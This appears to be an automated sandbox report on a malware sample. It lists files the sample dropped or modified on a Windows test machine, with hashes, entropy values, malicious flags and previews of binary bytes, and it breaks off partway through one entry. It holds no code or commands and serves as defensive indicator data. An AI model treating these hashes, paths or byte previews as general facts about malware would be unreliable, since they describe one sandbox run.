MD5:	44C5A7BA57B5221EE0D7174172AB5E57
SHA1:	463713C6701FA107757F692880281BE7B7DC7BD1
SHA-256:	BA638D803078914CCDC3419B6CCD38E7E4574B7346A9AC1355313584B8CB0B14
SHA-512:	DF4DDDF9D660402B0E04D5F53780F16D7D588A4B67F54ED9B3F5B1E83ED5736918E664657261E86C52912702A90AF1977677852BC2A18DA7E8AD55D771E3F7BA
Malicious:	true
Preview:	<?xml.......5%..wY....O........A(.i............<A.R..ee.X....h.u..)l.....Z.e.d..}..0.M....F......o.".m...D.2;.0...D.~f.....i.#.v.`_S.....u.SEr..s....m..LdS...V.P.Q.p. .....a.....!.^h...]..H.c.=......L.4r.,RpM..^.}..1...c.+......CT.M%...3.u..AzP?.rt.Od.$\|...A ..7.rd.".#o.D.d.`..[..n..#.w..6.....n(M..Cd..}-...7.Lj.....[..~.i...-...F{...e.-K.y>s.81$e.q=.M ._.. ...,..v1_......04..r..:..wH\Ku..@........%mx.8T..j.i.....Sz.,..........2.J.S.Z.......E..<Ij.bo....a[.2.df...t.s.}.;.Z..~k....8...].uY..-......2_\.[.O.........G.w..h.dKJ.=..8.<..]L.3...4..........(..&..s.....b{...V..yst.>0zr.r#..[......>S.........x...,.....9.)..4............9....xL.b.C.5Z........g.<#..3g...3..v.C...`.oM..>...........?.l[.4..;5.......i)R...z.n..L.`...a.W...PX.g.%.Lfu.yH.N...D.z,.V.......io.y.Tn;..Ud.A8..1..K.. .i._..h..n~......+H.U......E..-9....LD...}...g6...Q..<b..U...>7.....H.....y..`.tZ.I..>g.1...S1...(...O.m%.......d.C.bj.Fz...J.d.*....S8N.a..~..O.

C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\V01.chk

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.97791470738586
Encrypted:	false
SSDEEP:	192:4iAYTUUHgbEH4FDUn6DKQfXc+2EsGD4r9OJDtNiAmRWI16NMiq8:PrzgUngKQfXGVr9OJBmRWPV7
MD5:	160795233C3FDBFBC2F426989CA9FB17
SHA1:	4C81E0D81D9223A7FA80720A75F00660BF8916F2
SHA-256:	C86233000F17D2F6AC292B2724A3BBE879992B6D827C81F12E8DB01607D4B196
SHA-512:	8C1D4875C47633B53338D693BBA8CB2DA5400B26CD81C2CBC347012FC22BA6E1297576F85275105287CC8D47482876507683574005E4B4982972CC212DB129EA
Malicious:	false
Preview:	W.....+.MI..{0.....V.Y....\..x....Xn....o..<5H..%s.S..b....$t%.<F..$W..?.......m..c...U$.. ..........8..............P.J..4.......;iQ.5...1..$.b\..xi.....(.q..\v..W?V.V.).d.>.'.N.....d.O>`....,gYr.s...K.........A....Ip8....d.....i..O./.t..v.[..I.!_o.0.}......@Mz..v#..@...G.u......6V.<M'.TX.Sq..7x."ERw.2u.......0..v.E.j..{_.....v..MJ.@@k>Z.w......EX.c...B.1.. ..XC....O...6....E.b.8..<....d\|l...8Z.....=......Y..h{.G....\s.M....x2d...-9%......O.]6y6...h ...RJfP.=}N5.J..@...a?]Ng...y.......2..NQ..p.....T..K...H..R.Pog.Y..JN2.}..c.F.B.4.....=.vh..c.-z.....YW.v..3.. ....0...b.....t.;..M1........aV..a.u..Cjg~....k.b.$.t...j1...p...j...;....F..i...,...n.=..8.2Tq.]P....q....s.M.................d$..-?.....\.M).({...M.n......c...NxY...n.C..8.....+....?!.....{h..IY..Vm.)Q....(.k.3........l.3.s....w..'lS......U..e..0.%..t9..R.c.:g.&....].+C..... &.9y...uehVl...qQ,......tR...lDS.B.IFLG..%N..xpz.iiX\VnF..{!....W.....\|.D....N..Js8\<+..({./O.@.V?=.....".

C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\V0100005.log

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	6.787640393514748
Encrypted:	false
SSDEEP:	6144:3HmyiNDjjcssb2rpWLm7sGane5tXbltsR/IJ1S7EAe3sw1Xq6EPdqXfiWWfWG09:3HyjUbsOm7MNIB38qKhc
MD5:	D9CA20E88AC9704A9FD5D55C2D6849AC
SHA1:	63E89E2F8AA6602CFD3AC1D074D0ABE7ECAE1BEB
SHA-256:	A05E11BB4AB92F8E85B8BFC64781BC4564DA17E2CA8AF3B6834E7D561470C8F3
SHA-512:	656C22859E8C8FEE86451C9C6C492540C1E361799426AF4A73282FE0AD1C142DD77C4E3949FBA0EB6BBF9BA52395AED05FE0884CBFB3CAB074A095679BC91527
Malicious:	false
Preview:	..2]..Dq..E..H[...\8..8.j6ji.AG<...g.....!{...<:0....v. }6b...}.A......bBN...M.NK...@..3BH..oe.[....C..GV...D..3q..LY.....7.......A.F.d..H......._]..4S.@.I.aG..H.l.Z=..f...0...r.....X..>.].~j@.$f..n%.....%O0..@S.\|c.@.H............;T.g.....aN2..e. ~...hN..z!....x..b....O...KN......&.$.......1,x...?..Ol....e...(.i.3f.x\|....;U.....Zo(u......ZDN...=.U=.]...l ....H..N...c.. .~:.u..m+.....h.%...}..r>HE..{Y'.L9Jr/..V.....e2......).3...W...0vt.l.7...TtPx...H.-?\|@....V..j...&&jq..U..../5.....q..)...W..}.U.....8...o>.L%.9q.<K......]..:x~X"O'Tc.Os....XWx.*..[{...../ .-wi..b.m...&2......F.%>.....i..!h.\..V..@(.Z~r/._=...._....~..$,..#h.....x0.\|`......H.1....7.Z.RR(`Y...$......S...C..E...f.6.1..Q-.7.>_..67...MK.@.R.a"..S<{j})..i{..p.o..6.."L?\|.Q.......(M.g.=.v....V....57..f. ....Z."..6<"...)..S..,..T2..8~.L..cP...,z%f".P.....i5...D..l>.x.....9_.jzy.7..}h.Z..3f.>...k...Lck..l..............s.!..v.g.r....$....!.3Y..PF....J?e....!.....~..a..

C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\V01res00001.jrs

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.208003463712316
Encrypted:	false
SSDEEP:	3072:kHntbgzEgn5LVCrlhqJwy76Fffw19g1isgGAC+OK75AjijOTxN6hpzLxd:kNUwC0rl8OloItg/ADTkpzLxd
MD5:	DF8F159E2A124FECB573E87604DFC9F6
SHA1:	96CF64703AC43D8C4DDB307064EE6470E6B7BF38
SHA-256:	523DC4BF0E1E8844A262C052975C8EA382B966D848429C9A3491B03EB8442A39
SHA-512:	E2CC7C8F9BBEFD639ACCD34EA54C34E0A7A5CBEE1D2A69EA4BAA08AFA3337C1722657EB2D64DC6FD3AFE3CB92DB2CD9825F3884E7527A48F09DF5B5E5D16B340
Malicious:	false
Preview:	......cS.;\|qV..$?$.h..COHj..rV..J..~.t....ExAE.dC...O`..11.)..#..Q~..eI.d.GL.I.....P..9. ...u..C.;..#.....,8....!(.....N.jT(.F...6K...(...O.g.0_..`.\.;b.I....-0,\Dx....94]..s...V..^jL.yF..3P.......yO.e#M..Z.3.O).]....<.:t..b..6..$.6.+....%.'R...).R..<.UE..`..W..n .y....q.H.8L.K.=.1......M.K..i.... .H.w.L.H........}....cuE.........OoHx..N.S.TP..{,.k....<..&._\.D1WWB~`.....V...F..k.q.=...@x#KF.....l2...1...!Gz.....m.0E].9.o..uL^..@s<..>..Ku.O.c#.1Ts.H3.,..oI.4.Y..ID'Y(v_..SD......(.7C...E............).....6......=v....RJ5o<D.........0....&......^.:./hl8.....>..8..IeTN.9.}.w.v......$.'./....>$@q7i..E...........@@.4_.....ab...b$2.:5..Y.......7zfY./.....YR..4'yH.6.}..9..Tc...<...[.U;...OyM.j5.>i......J@K..L...f...j0.a.$Nk..............;?."n..9L.c..F;.../...*...-o....eL.+yrD.>E..$FA..)...n...T..6.D.!3..R/..A..0i.y/.'R.:[.h?..r.....T.......7.j8./..t.o.b....<z.n.ZK<..'.1K9.i^W..SSR...j....{.....-f..:i.^7^.2!.z......`........h.F...P..n.

C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\V01res00002.jrs

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.2085951237278203
Encrypted:	false
SSDEEP:	3072:yKD5xamZSwqiqzolroZiZ5ofGPlfIA6Gqj37VhuGFFxVrHdfM0:yKqm2i1WeTFxOXlFHM0
MD5:	36C2553D60C149478029B194D34BD38B
SHA1:	654CC26E98BC149706094DF37315C9DE7EA2A6DE
SHA-256:	E5121839214247789EFAD869C0512F008E767A8BCD3045F2596A7A63C814DD38
SHA-512:	B53B23A47CC0A7085A952F3925B80641EA805508167446A1D3F199E358C197706502CB01C775E16110291D408BFFCBB34EE45608558ED547C14DD1A1F46FB8EE
Malicious:	false
Preview:	......0..IB.s.;&A..II1.....g.....YQ....c>.1Jjv<..r./.zX..0\..b...u......\|..}...H..nOB].2..{...a9.c.qO.y............Q'.<......z.Os..V.L!......}....m ...wy....!...6.....Y....mD.B...F./r.o.y..S8...g..."....~..6.<...)_......u.q1.7H.....xFT.5.fTt5..b.1..C..;.Q.s......w,....6.._:...(.0..q.F.z(....?hb.=...F.i......[L.nX.t-..,.M..d..Q\M..%V.....M.C.e..8....2..=...p....I.d..8..4.$...X8.;H.*.y..M.l1....[.k%....I..O.Fw2....t.VaE...Ko.}.c.tf.p.......V..I.k...6.N....C..z.V.f..F..O+.6d....;...p.....:..d.Uhp...,...... ..G..LL........p...V.Y...~[..+uX.....%.Do>F!Z+..S.x.qE=.&.....[..A...t\|.....i.C6...[..n=..h...D....T.U-@.t.e......}'.@M.4.O..'...Uy.KT.v.A.#M...5.....+v_E({@......Q...ZXw....>..Fn\|.m...M.m4. ..xd...l%n......y\|.f.F.....%.I..,.....RI....1.2q....e.f..j...{.']....D.....=q_F......].n;%..d.X..i..!Q.....yLP..g........K.5Q.H.R>...h.u.j...q.(.)...v.8n.'..[...=.x..M......6.."..M...2....h...i...h......S{.Mb....0....L....yE.....k-..W.n.i.....x.e.....

C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\V01tmp.log

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	6.592552743521182
Encrypted:	false
SSDEEP:	6144:7G6LtBB3GaaWdrzyYK6k+K9WoITfsvBxvqcnfxngsHIN0HTcAd+b67RG+rdsxQny:7G6hWcdrWMKETk/nni+Q+y
MD5:	87EA4FAAB0C9688967A97BC137256C4B
SHA1:	4B1FBA515D7455EDCB22CAAAB302001ACDFC5149
SHA-256:	61EEFCF08898CB2294DA3EFDE6032C644238BB62CAC27D6100BF1B17F906289E
SHA-512:	C356AF29199E069C7F679D33DD7CACED1894CC494B2531D7EFA92A52C7AA34C90146ECF7DCF6C5737DAAFA0D92AF6C4E92CF215DFE96B568ABC38D0F1399E3B3
Malicious:	false
Preview:	\.......Y...G...g6..d..r...L...#.f......7....;.zz.O...y....X..`t....Q..RXG..@..[.....Y..Q.lw.Iz.c5.......yH.!++.v....X.~.Ai...8r.!.x..A.....M.....i...,..].5....I3.3..F....$Pb.(NuC@.x%.#]......:...............Y.J$. ......8UBI{.............i.B9[./.....'2..;..\.G.a..qVO.Q:.j./.a.2#.1.9.\|...P.F.9n..{d....{.0.........!.z0.>#M>7.W;.,...1_m..".Z...%........u..OX.G^..r..~....BT..rN.j\.B..E4..I...W......q....."..Q.......).T,Xp....e.....z..3n.i...G..J....d%.M/........2.$H.......C.\c.9%........4....p....q\xC.\....W.D..M......_.m.>....0...3cO.Q&Q.+..mx...w.{..l_...W.F...."$.!...I...\....<.L&.B....TG.g...L.......^I3.4..Tw..(y.!(..t.....p.6h.\........h\|{.._..e5.M. .J...8.r,.$2...W.$/..'.....6...e.vV.R..)(..n....8A.....:.t.....~B.dv.;......)."..... p.T...a..W.....)S&$.....e..j.h.m. Ij.....y...Th7.B.7.>W......g.4..D.....,...>.....L#.P.J....=XfY..K*u..-.<&.......`../.t..-.B.$<.f..W.`..\|.....E"&.'....x.".BE1...V....,.QAo...8..n.x.4..

C:\Users\user\AppData\Local\Microsoft\input\en-GB\userdict_v1.0809.dat

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	20346
Entropy (8bit):	7.992399410926838
Encrypted:	true
SSDEEP:	384:K8YaThkFKPnY1e+hzg4RqsU+2DQl1JLCwNIKKLdb/hWY/3pWfQViyEo9:KCPY0+pgcUvDEJLCwm//1WTy
MD5:	70205193340F9FEEF1466A54AFDDE642
SHA1:	F938C0AC91693D076CEAECF7CF35D0B8E6EF7886
SHA-256:	6EDDBCA2A5D0E89AD5757AD04508D40265F36992CEBF0714E43148E80DB7B161
SHA-512:	96CB59D29BB2606976A00202B4ADE3EC7193E036C02E42E1058152B39D8FD511247E4BCC8677CAAE9E0D4431322BB22DB65EBD4DBA94FB15C0C5F8B91F1A8002
Malicious:	true
Preview:	......YF..w....@G..+..w\...$I....p."...P....Gm.D...`.`7.....C@...l..l..gV.P....!.>qxC.c=..D>.....b=.C._..u...K.x.t.\G`2.P..h.....<....+....%A~...x....c......f..%]!......I.!....8x.gq...GQ..V9ce}.{q...z..9.W.h.f<......hk~;.$l,b........5..~;pkj.bY.o.h....+..#.....,.......n..OX..'...(._............(..{x.{.B4.w..\|vQ.....8.cda.s.L.].k....a.=.^..'.B.]........>..(...O9.+....X...s...v}....[.R.^;S..........o...<...........9....F.P....?..k.......#.p....<...Hoh....FO3.z...~....m?.._t.l}H...V...pQTQ.qk....@4.H\|.l.'..g....?..N.KA.!..).RP.+6..D.A".e}.72.]...Yal[....+..........0X..s.....Q3GQ..2..T.=f....y.,-U.Cx.?!I..w.J.$p..Y?.OhO...{DlTx......+..s.r.t.MzKN.)..:.IeY..y......1....).i.i..n..... .,..J.o....{...B."....s.z....9"..p#....d.+.D..]..!?...C.;.A..7i...]N....N.Q[.y@..W.x sAm.....?.N..M.7....vg.........N.......LD.f..\|B....^.W$.`........^Du... .B.).....k..gdI.\|{..Q.H......\..H"...M.....g.S..W..f......R..........q2=....U

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\activity-stream.discovery_stream.json

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1583
Entropy (8bit):	7.850584047051311
Encrypted:	false
SSDEEP:	24:Y2vNdg227ixbsdeA6f/3ddG9Gz+fgXQf9GWt+bEmmcePFMyNtAhciTkbD:YOdXFi36ffrIfgXQf9GWSnePWyNtSiD
MD5:	81B2F3BA13A4E52363C90A8CEA718724
SHA1:	6B63076F74A7E643D6B7F78E70ACCDD7156F2C47
SHA-256:	5E3136021954C135175F677556D83934124B9EEBE68FAE2E728BA5BC936BAF41
SHA-512:	9127FC95F58A6BAA1704EAD534ED199BF5AAD730A2C5BEF91986C5C55BFC07E2CFB5EB917A7F096C0C6E27B1D2693D9049A76ED276982DB47D74AE59E5AC3359
Malicious:	false
Preview:	{"spo..A...._...z..c0.......f..3./.....n..h..mc.P........s...M..8x.\61.y(...z...Rn..../.;....7.8T.&..V...v4.....cy.pT.....p7..3.p}.F.NP.. ..}a..$....6...P:c..=.....Q.R33.%..........a..P1.W..."1..z...6...A.IH.[ ..!..nN0.e.Q...i.p3&.R.x+.1.S.c..L.H..f.t...>...o.n.tRIy\d2. ...'..,...=.B......P.Md......r.!.f6.....b........ik...8.{.-. D.1...1...8;../}..+.W...g.cX.W.N..gt.....bi..45u>..m..6..m.....n8......6<.!.".X......-Q.3.....6;.TX......z<..U....Nb.J.K.o...\0.m.M....\|c......7....&.?.q.=......Pi...q.22..m..<...@...^.p..p....bn..#\|.5...c....y.f-3....j8&.C.......er#m.1ea.._...%w.u.7P.A].2...y.(..>._W.-....>....j=..p...L9.E....t.(..,,#j.Z.</:Efn................Y.W.`hoW..@h{R.k.]$..g".A%.....`.2`.:a%.WG.Jr..HRNe....Z.o..o.V.\ar.AD4~j.Cr...O.......+.1....UG......l....M...i.f..$G].D..1......Z....*".....?A....V..._Eb.R4...9..ii.+y....YMKi....yo`G.......X@.e.7".b4^,.1.n%....g...I%.?..x.P..f.,R.b....T...=..a.G.p....N......t4Xj...B...P...I.\..

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\settings\main\ms-language-packs\browser\newtab\asrouter.ftl

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	modified
Size (bytes):	7915
Entropy (8bit):	7.974694700350644
Encrypted:	false
SSDEEP:	192:T+eK8c1CWN57BEWwtHYvJ4389gtumTpNcLrFO4btS9L/:TrKHCWN5tEpQJobtV8XbA9b
MD5:	BB17E1B4FDA60BAE28752C3AFFFB2FD3
SHA1:	A3699A80BEE1F30CDE580D49CD01A0A06452D7A9
SHA-256:	82977C3C013DF72442F128AE191A1120FD11D0403E13AA981F4A83BEDA076E8F
SHA-512:	60F3B06959BD3676CEC987AAB50F80183FBF0378E57268424DA671669E7464D0DBA1B4C801DECE31175660C40C1B9155262B71B663EC9F93E63F779C0924F63F
Malicious:	false
Preview:	# Thi......H9.:.K.d}.Ey...Q.K.;.ZdM...&R.g...`...V.4F.~.G..G......M.M-.......\|..^....s..9-..\|...o..^u.I.(P..k.2.%j0Be..."0.....a>3.}!.vC... 6n..`.....<B.s..i.N.2>.......x.6......j!..`..$...a2O..k..39..'.f..E.......j..Q..U....Oe....R1J...Cr....=%.......Bya.t...}....j\|Y...O\...^.l...Y.l.....%>..O5..}...SF..'517..........LC...A)...D...4..i......OG..UIV.O...k.R.......h.?H..-...l5k.+0...J..p..s....J[YoE.%v.S' ......Px.y.CG.=.c.$...J..jFoQ...ny.ex.M6.3..&.s.=.g.4...-~.`v@.G}...n.M.m....=it.:.s..y..Qv..].=.]..g....4.,.!....m+..B....:..CT...l.o5...}.4.{........4...:.G...S.6..]pg'.G..P..4..K].....F....+.J..v.Y1.6l.Nx..d... .H...r.\|...".^.^.8.`.azt.BV.y.b....y.$.b.........k.k.dxu...;AT.H..V.+,q..Dn....4.k/Ny6....4..a.x51Mi.n...g.5o..X...6.d.u..I6$o..P$......R.$,.I.O.g....h...K+....Q.R...*%[.t.^P.0Y.].....o....T{..d...5... .[Bx...K.jY"j...WW.rK..3.....&<[c..D..N..y.6.F.Lf....JG/.\..v.._K..........4z...i.i.".e!..&H.....%..H....;\|......0..

C:\Users\user\AppData\Local\Packages\1527c705-839a-4832-9118-54d4Bd6a0c89_cw5n1h2txyewy\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.977310402829082
Encrypted:	false
SSDEEP:	192:TZJbMeQyWLiX1YQcZlhXT0NETuTeuXYfyNZ+Me7+VRLFouH9N2:TQkiYYQal10CTuVXQyNg+pR9N2
MD5:	35D8561C115A41549337A704C28801A8
SHA1:	6AE733E96DC4A8990F47C4B9A2035049BC799CFB
SHA-256:	1DBEA5FDC84F5112D86FC79D9C03FAC82FC99A01ABFE1754F2CB190369ACE5D8
SHA-512:	BE7B846F2664B7D0C7BAD278C652A240D8E2D05BE5A38496362264C6AFBF508AED071740F98B56ECC5AF2D60CEEDDCCEDE4FA97398EA0CB0D5A912F8630E0510
Malicious:	false
Preview:	regf.5...C.a.h..a)..@..j...#P.@...........Yp2..{.$.K......Y.zs.Nc.......?...$.Pwa^^y.'.e...5..M...#....j..........2.Qo...t..i.>j..o...I$.\9.u?...s1.t\|......`..86.3.E.z.j+=.pU....^]C..4F\A.gD.z.P......X&.z.....X...f...2......Y.Y..0..WA..<.c....D.........>.z.$.z.{..E>.V.w.4...c......\}=.E.Y(.mq..o..`..63`..L.?..?B. ....................R.......h.x&..H."/J.x.....~.BC..,......+^........8.P..k.. .0.@....^f(..2.....D...\D....S.-4..9t,&U..7o....[..e.....c..AE._MpN...2.8&...F....[]l.K.k.\|eaG.......X..E..I&..E.Y......=!.....f7....w....Q..@&.z.....x.....O..:s.=i&.m...Le.jI.x......r.].!`...8..6<U...3L..x...P.0\|...r..8..`s..........l.m.$ ..jA....O..5.R......K. ..1..4........Bi....q./.K.nH.\..)..=....v.b.BM.E..f...i.........}{.;.R(.........qOG.....-..z.6.C....W`Kz.. .o..Tiw.Y.:.U"p...Q4"..Q......U............(.p>N..s...1..{/.W....W..pZln..1.lU.M...P...+Z...o.-9[+u......7.....F.........U6.@..5n.s.,..f....0.lJW....B7pMnz....................`".

C:\Users\user\AppData\Local\Packages\E2A4F912-2574-4A75-9BB0-0D023378592B_cw5n1h2txyewy\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.979620142010113
Encrypted:	false
SSDEEP:	192:nCb4XjaKPSXduSAWg/CVzAtIz8E+Zr7dQXxmBiLf:daaS3D8I+pBs1f
MD5:	0564D2C7647D60C5D78176A57CD86FC9
SHA1:	6A9D824837AD21F712165AEC464D4AFF50BCD4DF
SHA-256:	E2E616B2539708AB73D760AFFC90050C6ECA116118DB561E14FAFCE81A9DC151
SHA-512:	495D0D641D6926C73C235EC74CD391A9703EEDF62CB47E00C8C3653F7C2C07E54E0A91EB1A3422D9331D6B9C986FC34476B081C9135A08FD32D67414A76345BF
Malicious:	false
Preview:	regf.fs1....C......g..[.S...z.m..o3.~....."Y.:..M....}\v.....1I..h....8..)@;s.....).U.. W.....O...."RU_....-c.....&l.@..Ri.;..XR.o9.....).$grK.).'...(Q.a....t......@....&..Z.tn...m.L..k........O...k\|}.:..[..1u..iR.T...dlU.....^.(T..........x..y...r.$l.R f)..!oR..B..&..8....P!.h.E..:...H..O.....y!&..y..R...............BB=j%....'.Zb..........Qe@.3[=./.E..\...U..7#l.K[..EaRNw+....-...f...,..FF.Y6.vuW.JY<B.`yQ$...i.i!5..i....j~..NQT..Mvin..P0.J.(J..,EO......6....v..V{U""-.\|....h.H..K......!.0.?X.Y.Y8*/vQ..L.f.2...w.....eN.....R...I..-.!....p\|r.].i.}.#..u..gE/.\|.XM}uR."..~..H..e..0..{...(.4.U.7...6.....J.....1./'.?L..?..t.(Q+..s.O..(,g...c.W..)...@..3....D.....\I.....?..=..R-......7._.L.~.G8.....F....m..m..gF>.K......>.AYy..K..F.....b...g.OB.E....9.......zv.[/.g..........I..J.~#im.(....WV...%..7w.9!...i{..v.i@...EK........a..B....Bv.V.0.@....,5.9..2._..(.p....0..u....E.Ah..........?.....!.e.(+.7.AP3BV.B.Y[.T.Tcz/..&...].N..b7..Q.6Ri,.!...i..H.

C:\Users\user\AppData\Local\Packages\F46D4000-FD22-4DB4-AC8E-4E1DDDE828FE_cw5n1h2txyewy\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.981235081561238
Encrypted:	false
SSDEEP:	192:61LkwtwGrNL2yea8z6M3fULyFvbOhLSfKwy9ANTth1jHWDHwREAa:6p3aRaagypgLmKngTb1jHWDHwU
MD5:	4A801D374DAF696B67541C24D07D16CD
SHA1:	F84F9F801425653C0FECBABA2949AA69182E5173
SHA-256:	C5A80686F0382F8F6270F22FCDC385140B4D5B93588182A479CD1739D03AF563
SHA-512:	8F297FFF2639628639F867F57C603C90477DC6BE6C6AF9971E3E5C68116EA8548C8C86DEF17237BEB7895E3EFB110CA9AD7695B9DF2669E8AAB181AFB4769C1C
Malicious:	false
Preview:	regf....l..I<2\.:...0..g.+.G>#../.\|...8..9]..ni..Yx.5g.;....G..O...~.....).....I...J6....N.Al;.'......nf...FW.nQ.J.6.?.k{...b.%P..<i..F.c........Ax..1....V.!...\y.z.....lG.8.SO...5.6A..l.s.$. ....hZ.d5gy..+'=.._..y...!=m...,w..c.L2B...f]....X$..3...6...N...bDs{...K....j2J...m.y.......U..(.7{!Z..je.w.!.$[.....^..2..!..@^..........F.j<9Zx....cjn.>.}S.2.....]\.e...J.un.O....Z.(.u"x..3).vc{...-....5K...R...3k.ZI`.ZU.[....fW...9:x'....E.P...J......L.:.4w !.....a..$.'..J..-.....I...1.....k.Q.Sc....V...?..&......e..f.H6....ml.;....#.....Tj.....14.o..<.P.&.a.1.1P.z.6.:@Da...x.......G._2........~....,.@..5E.:....2.uc0,....gR.>._^Wt..d.Bt...p........v.....:.ApK..,D...x.0v.~.??S\|(..`....o).v...e...\..JH.t)oNlqN.i].P +.k..&n+b6S...-WL.'8>I.....s.2......u..Ym,..p#.ut....f ..w.[..{.!........3.....6m@.`..y......'J8.......xA].R..Y..h9...'..;...I.c.Y...e</:;...n.2....q.....TV.....)...gF .^;.).J..p ..+.jbo]....T...$.....(..4.e........r.h.Z..y_.y..

C:\Users\user\AppData\Local\Packages\Microsoft.549981C3F5F10_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9788494285820954
Encrypted:	false
SSDEEP:	192:uupo977iE70NTQKxcFlyw9I/I9GS3d949wZJvNihcZcj1:uadlQQcFUKIuGStOQySGj1
MD5:	4904063996EF9DED9086A5B25BEC2375
SHA1:	812378073BB38667FCC6A7FBAD78A51DE111E3CA
SHA-256:	D66CE979AB3D2B49A836229EF799700987397CC8C806228FFCB50089DEEF8A3D
SHA-512:	B40B6F496AD27A1BA4DBFE3E0AE42F4640A352D0539BF0E1E833D63B20A652AA814304CA41CAA7AD04B34F361640C0777CCFA6AD39A772454E769B88B814F119
Malicious:	false
Preview:	regf..uK^r\)>.w.\..kGnk..2..o..{..N.$x....e`.9\..9..^...YP...c.cB.<#.........Z.~..I.......C.gz.U...t..FJf.<.3......]........\....e..y.X.!v...K..../.J.C.....{.T.......... ...s.d,VIt.~kKM)..R.))..A...t.j.....J$..p.e..9..i...G.'...aZ..LF.Y.n-...Y&\|M...........aj.k`.VX..I.~.tKB}..+..0..K.pM...A..I......k.p9/....T.1./.n.7......@..2..E.H..A+...z.'#...F..0s.o..s........ .....h0..A=..QY..t....\|...X0........c....TV...s.w....\jVpJ:.M..04Tx..c./.W./.un..<_Nf.#..5E....Gg....U......4<.V.h\{#4`. .....2u.}N...=_....4.V.U(.n%R..qGc&...Yc.B......a.....q.\....L....>....5&-W!@.`.T.U.8..$l..b(B...(61+`.......-..2./...,\'P.%....w`...D.C....G......../D...)S0..U...N.f..W}...k....OC.G...)..io.G.e..<..#.R.o..XO....F..4..{ j)..k_'.{..l.;.Z...,..aP8.....}.91...!..I..W. .......6}H..].....H..9(..>...nn=tI...s...E...^./.?j.Fy.U.y...KD..\|..h.....5..W].Lu. V-.?:s......ij.Z>x...a...cI.P......6...\.(......C.g..Z....-.c.....1Y..:N.9....+....#U.S..../..B(

C:\Users\user\AppData\Local\Packages\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9800035708856205
Encrypted:	false
SSDEEP:	192:e6sCkREuHp4IxU3KRKAbRESCOSz6ZTJhYj:e/3R94Ia3CKk51hZ3o
MD5:	EBDD157ABEBD422286439E3A818C3B02
SHA1:	84B98223F17BAB93DD3EDEB7A0A6359C481B6201
SHA-256:	8D2FFDC3C2179DE3E7E9C17506A3432B8F09D7A54220C7171DB60F4B6196CC74
SHA-512:	8C4A9BAAAF0465A6DE0315F3963DAD4FBDE3943755BE3FF56DE8ACD85379851E5E04D21F79F5FED40C9ACC562CC42506CB36AA28C930C46DE5D6CF446DF1FDE5
Malicious:	false
Preview:	regf...[.64KM.......>.....x...`h..As.......NIk/.ZU...U..2.....Yx.;Y.\..C...W7.......}j)Z..~n....v...{...F..E.L6.K.#1Yr2I..M..Bh.l..s1.~..M}..-..o.o...+.,6.\|..j.6../.=..^...uo.%...`-.rpZ8.t.z.-......P0........u.b. .;..../.%P.....K../.q.M.T.1..~.l.......izmY#.{..`.}.....5.&.g....s...n..[.)..'P.J%1P.WM..f..E.#Be.O...2.8.....+{.K...~...$R{...]...H..AAPc..n.........!..!......f......M.C9KL}k.s....7...z.H[O.......7H.......E.Nbk..q9.1\!......Y0.\..........}..B-p...].M..].`..6.P.W6/51.......m"........fL.....#.<..D7C...y.\|.;4 .......m/.V..g/.^.I)..Be..<v......../c."...R0..K..=[).K.q.;..dz}.}hu0#+Lpv.Fs....a....l..%z....E.".Q.QH.o.0N...X...!.............Q......$,...~%............T.(...%... 8...5g...W./...~......v......k0.r..u..8.....M$&_.".7'.!..............4J.`&..4..n.......MM..7..T.@!u..vr/$.W.%.A.g5..(...8F..........-:s~.m.E.....VH..h+...a....t.....d...;..a..d~....r..l.....e.+...T.b.N?Z.O.#,.#....].W.M...>;p....<.k...w.g.h...C..

C:\Users\user\AppData\Local\Packages\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\Settings\settings.dat.LOG1

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.977683019928912
Encrypted:	false
SSDEEP:	192:dZTvYsTrIasaWZOuaB3Czfakrmd8THfjutF6AEZJ6olQ:Xvh8a0OuaB3CGkrmAHfjIWQ
MD5:	6E1DBCBB6A51F17B130D7D7DB4490E12
